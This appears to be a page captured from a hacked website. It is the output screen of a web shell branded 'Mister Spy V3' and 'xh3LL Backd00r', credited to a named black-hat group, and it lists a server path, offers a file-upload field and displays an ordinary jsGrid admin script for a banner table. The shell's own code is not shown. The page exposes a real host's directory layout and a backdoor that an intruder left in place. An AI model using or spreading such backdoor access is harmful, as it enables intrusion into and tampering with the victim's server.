Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/js/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/js/jquery.jsgrid.banners.init.js

/**
* Theme: Ubold Admin Template
* Author: Coderthemes
* JsGrid page
*/


/**
 * JsGrid Controller
 */

var urlJsonData = "json-banners.php";
var urlJsonAdd = "json-banners-add.php";
var urlJsonMod = "json-banners-mod.php";
var urlJsonDel = "json-banners-del.php";
var EntidadNombre = "Banner";

disableInsert = true;
disableEdit = true;

var EstadosF = [
        {
            IdEstado: '',
            Descripcion: 'Indistinto'
        },
        {
            IdEstado: '1',
            Descripcion: 'Activo'
        },
        {
            IdEstado: '2',
            Descripcion: 'Oculto'
        }
    ];

var fields_grid =  [
                {
                	name: "Nombre", 
                	type: "text", 
                	width: "20%", 
                	validate: {
                		validator: "required",
                		message: "Ingrese el nombre"
                	}
                },
                {
                    name: "Link", 
                    type: "text", 
                    width: "30%", 
                    validate: {
                        validator: "required",
                        message: "Ingrese el nombre"
                    }
                },
                {
                    name: "IdEstado", 
                    title: "Estado",
                    type: "select", 
                    items: EstadosF, 
                    valueField: "IdEstado", 
                    textField: "Descripcion",
                    width: "30%", 
                    validate: {
                        validator: function(value) { return value > 0; },
                        message: "Seleccione un estado"
                    }
                },
                {
                    name: "Orden", 
                    type: "text", 
                    width: "10%",
                    itemTemplate: function(value) {
                    return $("<div>").css("text-align", "center").text(value);
                    },
                    validate: {
                        validator: "required",
                        message: "Ingrese el orden"
                    }
                },
                {
                	type: "control",
                	deleteButtonTooltip: "Eliminar",
            		searchButtonTooltip: "Buscar",
            		editButtonTooltip: "Editar",
            		cancelEditButtonTooltip: "Cancelar",
            		updateButtonTooltip: "Actualizar",
            		insertButtonTooltip: "Insertar",
                    width: "10%", 
                	itemTemplate: function(value, item) {
                		var $result = jsGrid.fields.control.prototype.itemTemplate.apply(this, arguments);
                		
                		var eb = $result[0];
                		
                		
                		$(eb).on("click", function () {
                			$('#modal-update #IdBanner').val(item.IdBanner);
                			$('#modal-update #NombreU').val(item.Nombre);
                            $('#modal-update #LinkU').val(item.Link);
                			$('#modal-update #IdEstadoU').val(item.IdEstado);
                            $('#modal-update #OrdenU').val(item.Orden);
                            $('#modal-update #FechaHastaU').val(formatDate(item.FechaHasta));
                            
                            if (item.Imagen != '') {
                                $('#imagen-link').attr('href', item.Imagen);
                                $('#imagen-link').show();
                            } else {
                                $('#imagen-link').hide();
                            }
                			
                        	Custombox.open({
                				target: '#modal-update',
               					effect: 'fadein',
               					overlaySpeed: 200,
               					overlayColor: '#36404a'
            				});
                        });
                            
    					return $result;
                	}
            	}
            ];

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat